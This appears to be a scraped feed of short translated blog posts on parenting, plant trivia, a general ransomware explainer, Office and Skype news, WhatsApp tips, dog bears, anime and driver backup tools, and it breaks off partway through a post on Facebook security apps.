your child what she is interested in and if she might want to get involved in a group at school. Often, children are very vocal about their interest and only need to be encouraged by a parent to join a club, a group, or do a sport.  Part 3of 3:\nSupporting Your Child at School  Go on a tour of the new middle school together. A good way to bond with your child in her soon to be new environment is to take a tour of the new school together. Most middle schools will also hold a new student orientation where parents and incoming students can meet teachers and other faculty, as well as each other. Attend these events to show your child how important it is to participate in school events, and to support her adjustment to middle school.[8] It may also be useful to do a tour of the school with your child on your own to get a better sense of your child's classrooms. Carry a copy of your child's schedule and walk around together exploring the school. This will help your child better prepare for her first day.   Join the school's parent organization. Most middle schools will have a Parent Teacher Association (PTA) or a Parent Teacher Organization (PTO) and will encourage new parents to get involved. Being a member of the parent organization at your child's middle school will help you remain connected to any new developments or ongoing discussions, and get to know the other parents and the teachers.[9] Your child will likely take your participation in the parent association as a sign of support and involvement from you. It will help you show your child that you care about what happens at the middle school and are willing to get to know new people as well.   Discuss transportation options to and from school. As part of your child's growing independence, you and your child may talk about the possibility of taking the bus alone to school or walking to school if you live within walking distance. It's important that you stress the need for independence and responsibility to your child through offering different transportation options to and from middle school. [10] The safety of your child comes first, so if you feel uncomfortable with your child taking the bus alone or walking alone to school, discuss a carpooling option with neighborhood kids who go to the same school.   Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiimr2ivsRmsKitomKwqbXLnWSfp6Jiuqqww6WcZquTnbywuA%3D%3D\n","link":"/post/how-to-prepare-your-child-for-middle-school/","section":"post","tags":null,"title":"How to Prepare Your Child for Middle School"},{"body":"David Latimer has seeded a plant in a large glass vase with some soil and water. He did not expect that the sprouted trees were still fresh despite not being able to visit the country since 1972.\nThe mysterious dead tree makes birds die Explore the only unique \"furniture garden\" in the world   That was done by David Latimer on a Sunday in 1960, he gave the seeds of a vegetable plant with little soil and water to the glass jar. Then he closed the bottle and put it in a sunny corner.\nThe last time, Latimer opened the lid for watering 45 years ago. During the decades of dry abandonment, the male plants in closed containers still live and develop well due to photosynthesis.\nLatimer puts trees in the windows to let the sunlight shine. He even carefully rotated the jar regularly so that all the plants in the jar were always sunny.\n  Photosynthesis is the process of acquiring solar energy with plants. Thanks to this process, plants in the jar can produce oxygen and create moisture in the air. After that, moisture condensates into water supplied to the plant. At the same time, the leaves fall down, decomposing to become fertilizer for plants to grow.\nThe vegan plants that grow well in closed containers even without watering for more than 40 years are a good example of the ability of plants to nurture themselves to perfectly develop and maintain their life cycle.\nDavid Latimer 's special tree vase is being placed at his door in Cranleigh, Surrey, UK, for 27 years, since he and his wife moved there.\nDavid Latimer wants to see how long the plants can live.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2BvyJ2cp6yRobm6edOhnGasopqybr%2FToqOlZZyew6a%2FjLCcpaRdnrturYysnJqklZl6qLjArKpmmp%2Bpwa2xjJ%2Bmq2Vkanq6scCrqmadppq7bsPIrZ%2BoraRixKLAxKugp58%3D\n","link":"/post/incidentally-the-tree-still-lives-well-in-a-sealed-glass-bottle-for-45-years-even-without-watering/","section":"post","tags":null,"title":"Incidentally, the tree still lives well in a sealed glass bottle for 45 years, even without watering"},{"body":"In the past, we have DoS/DDoS denial of service attacks to destroy a computer network by sending millions of traffic at the same time.\nNow we have more Ransomware, also a 'villain' in the Internet world, but a type of data destruction, not only that, it also demands ransom on behalf of the hacker.\nA double job, right guys, it's really dangerous with this kind of malicious code\nFor ordinary users, data is often not so important, however, for businesses or large corporations, data is sometimes more precious than gold.\nSo you can see, in recent years, Ransomware is appearing more and more dangerous types.\nI. What is Ransomware?   Ransomware is a form of malicious code, a type of malware, and an encryption virus. Ransomware is known to users with 2 main harms, which are: FILE, DATA, and REMEMBER CODE.\nWhen a computer is infected with Ransomware, usually the files on the system will no longer be accessible, or encrypted, leading to the inability to read the contents inside.\nThe common feature of these types of Ransomware is that the hacker will leave a README file detailing how to transfer the ransom (usually bitcoin), as well as how to contact to get the file back.   The ways that hackers use to attack your computer are typical: Exploiting Remote Desktop Protocol-RDP, Phishing email, or through 'junk flag' software.\nThere are two common types of Ransomware, which are:\n– Locker: This form usually locks the features on the computer, you will not be able to open the Desktop, besides, the mouse and keyboard will not work as usual, but at least you can still proceed to switch. account for hackers.\nWith this form, you can turn off the computer, bring the hard drive to another computer to recover data, reinstall windows, scan for viruses, etc.\n– Crypto: This type often encrypts important files, folders you often use such as Documents, Pictures, Videos, … and usually you can still use the computer normally.\nHackers often leave a warning 'If you do not pay the ransom before a certain xxx time, the entire encrypted file will be deleted and cannot be retrieved'.\nBecause for most users, there is no other way to get the file back other than paying a ransom to the hacker, and backing up data sounds pretty far-fetched to the vast majority of users, so so if it's important data, you have to obediently transfer.\nII. Learn the famous Ransomware   #first. Locky First used in 2016 by a hacker organization, Locky can encrypt more than 160 types of files, spread by sending emails with malicious code attached.\nDue to curiosity with attractive Email headers, users manually open Email and install it on the computer =\u0026gt; thereby getting caught by hackers. This attack method is also known as Phising in Social Engineering.\n  #2. WannaCry The most popular ransomware in history, designed and campaigned very well, the WannaCry attack has spread across 150 countries in 2017.\nThe advantage of WannaCry is that it exploited a serious vulnerability in Windows (which was released by the NSA Exploit, then the Shadow Brokers hacker group).\nThis malicious code has affected more than 230,000 computers globally with a total economic loss of $4 billion, a third of the UK national hospital/UK NHS with a loss of around £92 million.\n  #3. Bad Rabbit This malicious code attacks through a more dangerous method than Email Phising, which is Drive-by.\nRoughly, a hacker will take control of many visited websites first, then change the content of the pages or redirect that page to a page that downloads malware files to your computer.\nThe victims are accessing the official website, so they fully believe that these files are not bad at all, and then install them on their computers at any time.\nIf you follow the Malware Dropper method, the website will ask users to download the Adobe Flash or Microsoft Office installer that contains Bad Rabbit inside.\n  #4. Ryuk This is a type of encryption Trojan that appeared in 2018, Ryuk will disable the recovery function of the Windows operating system. Therefore, if the user wants to recover encrypted data, it is required to have an external storage copy.\nIn addition, it also finds and encrypts publicly shared hard drives in the victim's computer network (LAN). It is estimated that companies in the US have to pay more than $ 640,000 to pay for the file ransom.\n  #5. Shade/ Troldesh This malicious code has been around since 2015, spreading through the distribution of spam emails containing links and attachments of malicious files.\nPhising email is too normal, isn't it, the advantage of this method is that the hacker can still talk/communicate/build a relationship like two friends/or business partners and then send the file to lure the victim to install it on the computer. to spread Shade/Throldesh.\n  #6. Jigsaw This Ransomware is quite scary because the name and Logo follow the bloody and violent movie - 'Saw'.\nAfter the expiration of the file ransom transfer period, every hour that passes, more and more files on the computer will be deleted.\nJigsaw appeared in 2016 and it spread through email. After the user opens the file in the Email, all the files on the computer as well as the Master Boot Record of the operating system will be encrypted.\nAll files will be deleted after 72 hours, if you try to restart the computer, 1,000 files will be deleted immediately, in addition, some variants of Jigsaw also threaten to publicize the victim's sensitive information.\nJigsaw usually hides itself as Firefox or Dropbox, it is written in the .NET Framework language. But fortunately, there is now a tool to decrypt files caused by Jigsaw and users do not have to pay ransom anymore.\nOther Ransomware can be mentioned such as: CryptoLocker, Petya, MADO, FAIR, Dharma Brrr, B0r0nt0k, GrandCrab, GoldenEye\n  III. Epilogue Ransomware helps hackers shoot an arrow that hits 2 birds, a 'arrow hits 2 targets'. This is really a dangerous virus and it will become more and more dangerous in the future.\nWhat is more worrying is that there is now a Ransomware rental service, allowing novice hackers to create a powerful malicious code for themselves. Like selling virus source code.\nIt is scary to see the future full of malicious code on the Internet, the worrying thing is that it also demands a ransom, which most of us have taken from Covid-19.\nThis extortion virus not only gives hackers more motivation to develop, but bitcoin is also a solid fulcrum for hackers. Because when transacting with bitcoin, the hacker will not leave a trace.\nThe negative fact from WannaCry is that the vulnerability it exploits has been patched by Microsoft a long time ago, but the infected computers are likely to have Windows Update turned off completely.\nAfter all, ransomware prevention seems difficult but easy: As long as you update your operating system regularly, use security software.\nmalware extortion ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuvsCnqqilp5a%2FpnmVZqmapqOkurit0Z5kqKZdmLyuvNStnKur\n","link":"/post/learn-about-ransomware-6-ransomware-on-computers/","section":"post","tags":null,"title":"Learn about Ransomware: 6 ransomware on computers"},{"body":"Microsoft is preparing to disable Excel 4.0 XLM macros by default on all Microsoft 365 subscribers to protect users from malicious documents.\nThe Excel 4.0 macro, also known as the XLM macro, was added to Excel in 1992. It allows the user to enter various commands into the cell to perform a certain task.\nAlthough VBA macros were introduced in Excel 5.0, bad guys have continued to use XLM macros over the years to trick users into downloading malware or performing other undesirable behaviors. Cyberattack campaigns using Excel 4.0 XLM macros have been reported including TrickBot, Qbot, Dridex, Zloader.\n  Because the Excel 4.0 XLM macro is constantly abused, for many years Microsoft has always recommended that users disable this feature and switch to using VBA macros. This is because VBA macros have an Anti-Malware Scan Interface (AMSI) that can be used by security software to scan macros that contain malicious code.\nAn administrator of an organization or enterprise can disable Excel 4.0 macros by using Group Policy. Meanwhile, users can turn it off using Enable XLM macro setting when VBA macro is enabled in Excel Trus Center.\nMicrosoft prepares to disable Excel 4.0 XLM macros by default Instead of waiting for organizations, businesses, and users to manually disable XLM macros, Microsoft has just announced that they will disable Excel 4.0 XLM macros by default from early October on beta. Next, they will implement this setup on the final build.\nThe specific schedule is as follows:\nAt the end of October, the Excel 4.0 XLM macro key was deployed on Insider-Slow channel and completed in early November In early November, the Excel 4.0 XLM macro key was deployed on the official Current Channel and completed in mid-November Deploy and complete the Excel 4.0 XLM macro course on the Monthly Enterprise Channel (MEC) in mid-December Microsoft will not make any changes to users who have disabled XLM macros manually or through Group Policy. Of course, if you want, you can still enable XLM macros after Microsoft locks them by visiting the Excel Trust Center.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrGqv8Cbo56rXZrFpLHLZmtpZZ2WsLO70maZsmWUmrOiwcutZK2nXaW%2FsMDEnKtmraOav7Q%3D\n","link":"/post/microsoft-disables-excel-4-0-macros-by-default-to-protect-users/","section":"post","tags":null,"title":"Microsoft disables Excel 4.0 macros by default to protect users"},{"body":"Due to Skype's installation error, Microsoft decided to give it a \"retirement\". Microsoft made this decision also to avoid confusing users because Windows 10 currently exists two versions of Skype (both old and new).\nOn Windows 10, there are currently two different versions of Skype: the UWP application version on the Microsoft Store (new) and the (old) desktop version. And to focus on fully UWP applications, Microsoft is expected to stop developing desktop versions.\n  Previously, Microsoft had warned about problems with Skype for desktop installation with older versions, from 7.40 or lower. Because the problem is in the installer and not the software, customers who have installed Skype for desktop (previously) will not be affected. Microsoft has also removed older Skype versions from skype.com. The technology company also said that the latest Skype installations have not been recorded affected.\nVersion 7.40.0.104 may be the final version of Skype for desktop that everyone sees.\nIn October 2017, Microsoft released version 8.0, but the number of new version users is not very large.\nTherefore, deleting one of the two existing Skype versions on Windows 10 will help users avoid confusion and increase the number of users of the new Skype version of the company.\nUsers can still install and use Skype for desktop for versions from Windows 8.1 and below.\nSee more:\nHow to create Skype status flashing How to change the font on Skype How to fix Vietnamese typing error on Skype How to block a friend account on Skype ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsSquMtmm6unoGLArMXPnmSfqp%2BierW0xGabnqubqbyxedWeqayhn6N6pcHEZquoZZGjeqq60q2YpaSRqbawuoyeqaunog%3D%3D\n","link":"/post/microsoft-will-drop-skype-from-the-desktop-version-due-to-an-installation-error/","section":"post","tags":null,"title":"Microsoft will drop Skype from the desktop version due to an installation error"},{"body":"When Instagram was bought by Facebook for $ 1 billion, it made the tech community as well as the media surprised. That's not enough, Facebook also shocked us with the acquisition of WhatsApp for $ 19 billion.\nWhatsApp is one of the most popular messaging apps on mobile devices. WhatsApp faces fierce competition, many popular competitors like WeChat (popular in China and Southeast Asian countries) as well as Line (famous for having many special themes), but near like no apps can compare with WhatsApp in terms of security, convenience as well as the attached utilities.\nIn the article below, Network Administrator will introduce you to good tips to help you understand WhatsApp in your hand.\n  You can download WhatsApp app to your phone and install it here:\nDownload WhatsApp for Android here.\nDownload WhatsApp for iOS here.\n1. Hide \"Last Seen\" feature   By default, the WhatsApp application will display the last time that WhatsApp users access or log in to the application. However, in some cases for personal privacy reasons, many users want to disable (turn off) this feature.\nTo disable (disable) this feature, follow the steps below:\nOn iOS devices:\nGo to Settings\u0026gt; Chat Settings\u0026gt; Advanced and set Last Seen Timestamp to OFF.\nOn Android:\nWith Android devices, you cannot access the app settings to set up as iOS devices but must install additional 3rd applications, such as Hide WhatsApp Status application. Hide WhatsApp Status application will disable Wifi connection and data when you open WhatsApp app.\nAfter exiting Hide WhatsApp Status application, Wifi connection and your data will be restored, WhatsApp will sync and your message will be sent.\n2. Backup and restore messages on WhatsApp   By default, WhatsApp will automatically back up your messages, but you can also do this.\nOn iOS:\nGo to Settings\u0026gt; Chat Settings\u0026gt; Chat Backup, select Back Up Now\nOn Android:\nGo to Settings\u0026gt; Chat settings, select Backup Conversations to create a backup. This backup process will not back up multimedia files like images, so you need to back up files using a file manager and access: / sdcarrd / WhatsApp / Media .\nThere is no way to directly recover WhatsApp messages, so if you want to restore the messages, you must uninstall the WhatsApp application and then reinstall the application.\nAfter reinstalling WhatsApp, when you open the app, the device will appear on the screen asking if you want to restore recent messages. You only need to follow the instructions to restore the messages.\n3. Lock your WhatsApp application   Sometimes in some cases your friends, relatives, parents, . want to borrow your phone to do something (such as internet access, Facebook .). In these cases, the disclosure of personal information is very high.\nIf you don't want others to read important messages or information on your WhatsApp app, you can lock the WhatsApp app to ensure personal privacy.\nTo lock the WhatsApp application, you must download and install the app to your device. However, this application is only available for Android and BlackBerry devices.\nIf you are using an Android device, you can download the WhatsApp Lock app.\nIf you are using BlackBerry, you can download the Lock for WhatsApp application.\nWhen using WhatsApp, you must enter a PIN code (with WhatsLock application) or enter a password (with Lock for WhatsApp application) to be able to access and use the application.\n4. Create Shortcuts for important contacts   If you frequently text someone on WhatsApp, creating a shortcut to quickly message that person is a convenient and useful way.\nThis person's contacts will show up right on Homescreens so you can communicate without the effort of accessing the app to find it.\nOn Android device:\nClick the contacts you want to contact, then a popup window appears, select Add conversation shortcut.\nOn iOS:\nThis feature is not available on iOS devices. However, you can download 1TapWA application to iPhone to create a shortcut for important communications.\n5. Turn off the WhatsApp image displayed in the photo library (Gallery) or roll Camera (Camera Roll)   Sometimes WhatsApp images displayed in photo galleries (Gallery) or scrolling Camera (Camera Roll) make you feel uncomfortable, or you do not want to tamper with images in the gallery (Gallery) or Camera roll ( Camera Roll).\nTo turn off WhatsApp images displayed in the photo gallery or Camera roll, follow the steps below:\nOn iOS:\nGo to Settings\u0026gt; Privacy\u0026gt; Photo, then select WhatsApp to OFF.\nOn Android:\nYou can prevent Gallery from scanning images by creating a .nomedia file in the WhatsApp folder.\nTo create a .nomedia file, you use a file manager like ES File Explorer, access the WhatsApp folder of photos and videos and create a file with the name: .nomedia .\n6. Change phone numbers on WhatsApp   If you want to change the phone number on WhatsApp, you don't need to uninstall it and install the WhatsApp app again. You can access WhatsApp Settings to change phone numbers.\nJust go to Setting\u0026gt; Account\u0026gt; Change Number. Enter your old phone number in the Old Phone Number box, then enter the new phone number in the New Phone Number box. Select Done and confirm your new phone number.\n7. Install WhatsApp on Android tablet   WhatsApp is designed specifically for phones and it is smart enough to understand when you run it on a tablet, so if you want to install WhatsApp on your phone, you need to find the .apk file (installation file) of WhatsApp.\nYou can search for .apk files on your computer, then copy them to your phone.\nNext download SRT AppGuard. Then install both phones and tablets.\nFirst run AppGuard. Then select WhatsApp from the Dashboard, then select Monitor. After AppGuard is installed, scroll down to find and disable the Read Phone Status and Identity under Phone calls.\nOnce done, you can run WhatsApp on an Android tablet.\n8. Display avatar WhatsApp application on Android device   One of the interesting things about Facebook Messenger is that you will see the Avatar who you are chatting with.\nTo display the avatar you are chatting on WhatsApp you need to Root your device and download WhastApp Chat Heads.\n9. Message statistics on Android   One of the special features on WhatsApp is that users can get statistics such as messages on apps, your top friends, friends and groups' most active times of the day. .\nTo statistics on WhatsApp, you must install the WhatStat application.\n10. Get WhatsApp notifications on your computer   If you are using an Android device, you can download and install the Pushbullet application to never miss any messages on WhatsApp.\nHowever, if you want to receive WhatsApp application notifications on your computer, you can download Desktop Notifications application.\nAfter installing Desktop Notifications application on your Android device and installing Desktop Notifications on Chrome or Firefox browser extensions (optionally you choose), you can receive notifications from WhatsApp on your computer.\n11. Turn off the viewed feature By default, WhatsApp will turn on 'Read Receipts ' mode to let others know if you have seen their mail. If you do not want to let others know you have seen the message, you can disable this feature. Open WhatsApp, then press the three-dot Menu button in the upper right corner and select Settings on the Android device or press the Settings button with the serrated image in the lower right corner on iOS. Then go to Account\u0026gt; Privacy.\nRemove the check box in the Read Receipts box to turn off the message view feature. However, turning off this feature also means that you will not know if your message has been sent to someone else who has read it. And you can't turn off the viewed feature in a chat group.\n  12. Checkmark marks in the message Assuming you do not turn off the message view feature, you will see the checkmark below the messages. Knowing the meaning of these marks will allow you to know if the message has not been sent or that your friend has seen the message but did not reply:\nA gray checkmark means your mail has been sent, but not yet to the recipient. WhatsApp is still sending it, probably because your connection is not good. Two checkmark marks in gray indicate that your message has been sent successfully, but the other person has not yet viewed it. Two green checkmark marks appear when your friends have opened and viewed the message. In group chat, you will only see the green checkmark marks when everyone in the group has seen the message. For more information, you can touch one of your messages and then click the Info icon in the top bar. This icon is like the letter i inside the circle and it shows you exactly when your friend (or each member of the chat group) sees your message.\n  13. Status update WhatsApp always allows you to post a brief introduction in your profile, but most people only leave one post and never change it. Recently, WhatsApp has added features to create short-term status. To use it, swipe through the Status tab and click Update Status . Then you can download photos from your phone or take photos right from the app. Hold the camera button to replace a short video.\n  Wait a few seconds for WhatsApp to download your status. This post is still there for 24 hours and keeps track of how many people view it. You can upload another status before this status expires if you want. To see the status of the people you follow, check the Recent updates section in the Status tab.\n14. Send messages to many people You want to send a message to many people, but don't want to add it all to the chat group. The solution is to use Broadcast feature in WhatsApp. Touch Menu\u0026gt; New broadcas on Android or Broadcast Lists on iOS.\n  Like using BCC in email, this allows you to select contacts from the list and send a message to all.\n15. Call with Whatsapp WhatsApp is a messaging application but you can also make voice and video calls. Slide through the Calls tab and use the phone icon for voice calls and camera icons for a video call.\n16. Use WhatsApp on the web If you're working on a computer and don't want to hold your phone to text sometimes, use WhatsApp on the web.\nTo use, touch Menu\u0026gt; WhatsApp Web on Android or Settings\u0026gt; WhatsApp Web on iOS. Access WhatsApp Web on computer and scan QR codes to link your account. Then, you can chat on the big screen and type faster with the computer desk. You can also download WhatsApp for Windows or Mac desktops if you want.\n  17. Mark the message If someone sends you an important message but you can't read it right away, star the message so it can be easily found.\nTo attach a star to a message, press and hold the message and press the star icon that appears in the top bar. Then, when you want to retrieve the starred messages, click on the conversation name above and select Starred Messages . It will show all the starred messages, you can click the arrow next to the message to display the context menu if needed.\n  18. Send GIF images, voice messages, files WhatsApp not only sends text messages but also sends GIFs, voice messages and more in the chat bar. Press the Emoji button, then select the GIF tab below to access the GIF library provided by Tenor. Use the search icon to find the perfect GIF for your friends' comments or send it right in the app.\nIf you want to send a voice message, hold the microphone icon to the right of the text box to record a voice message, when you're done, just release it, the message will be sent automatically. If you don't want to send it again, slide your finger left to cancel the message.\nTouch the paperclip icon to send documents, audio, images or contacts from your phone. You can also select Location to add location.\n  19. Customize notifications You join a chat group but are busy and do not want to hear the new message alert. So you can temporarily turn off the receiving sound by pressing and holding the conversation on the home screen and tapping the microphone icon.\n  If you want to change other notifications, click on the group name, then use the Menu button to select Group Info . Select Custom Notifications and check the Use custom notification box . You can adjust the sound, vibrate mode and settings turn on. Using other sounds for certain groups will help you determine which messages belong to which group without looking at the phone.\nYou can refer to more:\nAll things from A to Z using WhatsApp on Google Chrome Things to keep in mind when using WhatsApp on the Web Delete WhatsApp account on phone in 6 steps I wish you a happy new day!\nncG1vNJzZmismaXArq3KnmWcp51kwamx0p5kn52RqcKzsdJmpJqjlWK2tXnEmqqinaJiwbB5zJqqrZ2iYsSprdOsmKmo\n","link":"/post/these-features-make-it-easier-to-master-whatsapp/","section":"post","tags":null,"title":"These features make it easier to master WhatsApp"},{"body":"The bear dog , also called Amphicyon, bears the characteristics of bears (large body, big feet with bare feet to stand upright with two legs ) and dogs ( relatively long legs and long muzzle ). However, they are not bears (Ursidae), nor are dogs (Canidae).\nBased on science, they are particularly not the bear family nor the dog family, but they are in the dog group (Caniformia) or the \"dog-like \" subdivision . Modern animals in the dog form include wolves, foxes, dogs, bears, sea lions and ferrets. This makes the dog bear something like a cousin with the same name as them. In addition, this dog bear is easily confused with modern breeds, such as species \u0026nbsp; Karelian bear dog.\n  Not even bears, but dogs, this extinct animal has evolved into a giant predator. Photo source: Public domain\nThere are two main types of dog bears: One is the Borocyon robustum, which has long legs suitable for jumping activities and is similar to the modern wolf, the Amphicyon longiramus species , has a strong body and looks like modern bear. , according to the Florida Museum of Natural History.\nSize Like today's dogs and bears, the dog bears are large. They can weigh only a few pounds or can weigh up to (450kg). It is believed that the early evolution of the sun bear was very small, just the size of the Chihuahua dog (one of the smallest breeding dogs in the world). As it continued to grow, its size seemed to grow bigger, according to the Field Museum in Chicago.\nWhen evolving into large animals there are several benefits and disadvantages. While body size is getting larger and larger, it will allow them to hunt larger prey and higher food chain, they also need more food and reproduce more slowly.\n\" Their enormous evolutionary size shows that they can prey on many mammals and other animals. Fortunately, they are extinct before humans are present in the world ,\" Wilkins said.\nLiving environment Dog bears first appeared in Eurasian continent during the Eocene and Oligocene epochs (55.8 million to 23 million years ago), a time sufficient for warm weather and thick vegetation. Worldwide temperatures are about 30 degrees C (86 degrees F) in the Eocene world, according to the University of California Paleontology Museum.\nDespite the cold temperatures in the Oligocene world, it is still quite warm and the vegetation flourishes in most locations around the world, including North America and Africa. The dog bear is extinct 5 million to 10 million years ago.\nDiet Dog bear teeth are formed to have an omnivorous diet , like the great bear and modern dog. Smaller bear's lures, which may be rodents, while larger sun bears, can eat larger animals such as wild pigs. In addition, dog bears can enjoy eating leaves and berries.\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrivu9ZmmJunpal6pbvGZpmemaKo\n","link":"/post/things-to-know-about-dog-bears/","section":"post","tags":null,"title":"Things to know about dog bears"},{"body":"iOS 11 was born to bring a great range of features to users, however, besides there are many inadequate changes that disappointed users, especially for those who use phone models. older. Many users of this new operating system version said they could not adjust the ringtone volume by increasing the physical volume on the left side of the device, so in this article, TipsMake.com will guide how to fix this\nGood tips on iOS 11 can not be ignored when using iPhone, iPad Prevent iOS 11 from automatically sharing your location with Apple First, you need to access Settings\u0026gt; Sounds and set the Change with Buttons option to On. With such a simple operation, you can now adjust the volume by physical keys like previous iOS versions.\n  In addition, you can drag the slider directly below the Ringer and Alerts section to adjust the ringtone volume.\nIf your phone doesn't ring for an incoming call, make sure you don't turn on Do Not Disturb mode. You can do this by visiting Settings\u0026gt; Do Not Disturb and setting it to Off.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWRYq%2B2s4yfoLFlpJ2utXnCmqWnp6Ritq%2Bv0Z6YrJ1dqbWmedGipaCsn6OybsLOpaymnV2ku261z6Gmp50%3D\n","link":"/post/this-is-a-bug-fix-that-cannot-increase-the-ringtone-volume-on-iphone/","section":"post","tags":null,"title":"This is a bug fix that cannot increase the ringtone volume on iPhone"},{"body":"1. Somalia And The Soul Of The Jungle (2020) Somali, a small human girl was found and raised by the ruler of the forest, Golem. The Golem foresaw the dangers that awaited Somalia in the near future. He tried everything to keep her safe. Although they are not of the same species, the two took care of each other and went through many events together.\n2. My Dad's Secret (2020) Kakushigoto tells the story of a father named Kakushi Goto - a manga artist who draws objectionable content and his daughter, Hime Goto. Kakushi pretends to be an office worker to hide his real job and protect his daughter.\n3. The Great Trickster - 2020 The film is the story of Makoto Edamura and Laurent Thierry, two con artists. They have teamed up to spread their scam business around the world. Makoto and Laurent's goal is to be cowards to bring their evil deeds to light.\n4. Demon Slayer: Endless Train Tanjir and friends are tasked with investigating the mysterious Mugen Train and hunting down an Enmu - the demon that has caused many deaths on board. During the demon hunt, Tanjiro and his friends were ambushed by Enmu and put to sleep. If they don't wake up and stop Enmu in time, this demon will eat everyone on board.\nThis is one of the most loved anime series of 2020.\n5. Hanako's Ghost House This anime is the story of 15-year-old Nene Yashiro, passionate about the occult and longing for a boyfriend who summoned Hanako-san. The boy Hanako-san is the spirit that haunts the famous toilet and can grant any wish of the summoner. Experiencing many strange things, Nene becomes Hanako-san's assistant in her journey to maintain the balance of the spirit world and the human race.\n6. Starting Over in Another World (Part 2) - 2020 Subaru Natsuki - an ordinary high school student, summoned to another world. He is saved by a beautiful girl and decides to stay to repay the favor. The two were attacked and killed by the enemy. But he discovers he has a special ability to go back in time to the time when he first came to this world. What will you do?\n7. King Chef Souma - Tastes From Australia (Part 5) The final match for the first term at Totsuki Culinary Academy has arrived. This time, Soma and his friends have a task to renovate an abandoned restaurant on the beach and earn 3 million yen in three days. Soma and his friends did an excellent job. Right after that, they again participated in the most prestigious cooking competition in the world – BLUE.\n8. Volleyball King 4 (Parts 1 \u0026amp; 2) Shoyo Hinata and the rest of the Karasuno volleyball team train hard to compete in the national competition.\n9. Breaking the Curse (Part 2) Tohru Honda is a high school girl and has a close relationship with 13 members of the Som family. She discovered that 13 members of the Soma family were spiritually connected with 13 animals of the zodiac. Tohru wishes to free them from the clan curse. Since then, the scary mysteries have gradually been revealed.\n10. Kaguya-sama: Love Is War - Confession War (Part 2) The plot of the film revolves around the student council president Miyuki Shirogane and the vice president of Shuchiin Academy, Kaguya Shinomiya.\nThey are widely seen as a power couple. But due to lack of experience, they do not know how to show affection. Miyuki and Kaguya both consider confessing first in love an act of submission. So both deny their feelings and trick the other into admitting first.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFurc2ipJ5lnaTDqrHSZmlpamBif3F%2BkA%3D%3D\n","link":"/post/top-10-best-anime-movies-2020/","section":"post","tags":null,"title":"Top 10 best anime movies 2020"},{"body":"Driver is a very important component in our computer, it helps your computer to operate stably and correctly, so without your computer driver, it will not work properly. In the process of using the computer will be very difficult to avoid errors, so backing up the driver is necessary in case of a risk. The following article of TipsMake.com will introduce to you the 5 best software backup and restore software for your computer today, please refer.\n  1. DriveGuide Toolkit   DriveGuide Toolkit is one of the top 5 Windows driver backup software, is a comprehensive tool to provide all the latest updates for your Windows driver. Not only does it provide backups for your drivers, it also automatically identifies the drivers installed on your computer. In addition, it has an extensive database where you can search for updated drivers for your system. You can use the free version of it or try the paid version for $ 14.95.\nAutomatically identify the driver installed on your PC for backup. It has a list of over 1 million drivers that users can search online. It automatically recommends recent updates for your driver. It has additional tools to improve the processing speed of your system and keep it safe from security threats. Nearly 500 new drivers are added each day to the database. The tool comes with an advanced technical support. 2. Driver Max   Another leading Windows driver backup software, DriverMax will be an optimal solution to perform Windows driver backup and download updated versions at the same time. It has a collection of over 2 million drivers from Nvidia, Microsoft, Intel, Realtek, etc. Compatible with almost every version of Windows, it can also perform automatic updates for your drivers. You can try the free version or the Pro version for about $ 10 a year.\nA variety of drivers are compatible with all versions of Windows (both 32 and 64 bit). Unlimited download feature for professional users. It provides additional security to keep your Windows driver backup safe. The tool can perform automatic driver updates for your device. It can also increase the productivity of your system with timely updates. 3. Double Driver   Double Driver is undoubtedly one of the top five Windows driver backup software, sure to meet your basic needs. Since it is a free desktop application available, one can use it to back up one's driver without spending a penny. However, this tool has not been updated in a while and is only compatible with limited operating systems. However, it can be used to meet your immediate needs.\nSave driver details easily. Can backup drivers from current Windows. It is also possible to back up drivers from a booted Windows. It has both GUI and command line interface. It can restore drivers from an existing backup. Totally free. 4. Driver Magician Lite   Driver Magician Lite is an all-in-one Windows driver backup tool, sure to make your life a lot easier. It is compatible with almost every version of Windows and also performs automatic updates. Besides detecting unknown drivers and installing clones, it can also back up your needed documents. Although the lite version is available for free, you'll have to pay $ 29.99 to experience premium features.\nCompatible with all Windows versions (Windows XP / 2003 / Vista / 7/8 / 8.1 / 10) both 32 and 64 bit. Can back up drivers and installers. It can also back up the required documents. This tool also provides automatic driver updates. It may allow you to restore drivers easily. 5. Driver Backup 2   If you are looking for a user-friendly and fast Windows driver backup tool, then you should definitely try Driver Backup 2 . Not only Windows driver, it can also backup third party driver. You can then restore them to your PC without much hassle. It provides three default ways to back up your drivers: back up all drivers, only backup OEM drivers, back up third-party drivers. Because it is an open source tool, it is available for free and may also be redistributed.\nNo installation is required to use this easy-to-operate tool. It has an integrated command line interface. Compatible with both 32 and 64 bit operating systems. It provides an easy way to restore driver backups. Lightweight and user friendly. Open source software (available for free). Above are the top 5 software to backup and restore the best computer driver today, hopefully through the article you can choose for yourself a suitable software. Thank you for watching!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5krKeWqcSivsRmq6hlkpawrMHPZqmeq6Skv6Z5wKebZqqVqMGwvsRmqZ6rpKS%2FpnnToZxmmpWowW6vzqanrqyVp3qlvsivnKs%3D\n","link":"/post/top-5-software-to-backup-restore-and-restore-restore-the-best-computer-driver/","section":"post","tags":null,"title":"Top 5 software to Backup (Restore) and Restore (Restore) the best Computer Driver"},{"body":"With the growing popularity of Facebook, malware is also becoming increasingly rampant on Facebook.\nIt spreads through links that contain malicious code or lead to malicious websites that people send on your wall. Unfortunately the majority of Facebook users may not know about it or care about this.\nHere are three useful apps developed from well-known security firms that will help protect your Facebook account, even if you're not logged in.\nBitdefender Safego This Facebook application protects you from malicious links and closes connections that hackers can exploit into your account. The application scans the posted items on the wall, the status of sharing and assessing the level of account privacy according to each level of visualization.\n  Go here and then click Access application \u0026gt; press Allow application approval request to your account . Bitdefender Safego will automatically perform its duties, this process may take several minutes. Completed, the test results table will appear with lots of interesting information.\nLooking at Infected items and Latest scanned items, there are a series of dangerous sharing links and 'dirty' comments in the wall posts that the application finds. At the Statistics section displays the items, scanned links and the number of infected items found. In the Privacy section, show your account status according to the visual color scale.\nNorton Safe Web 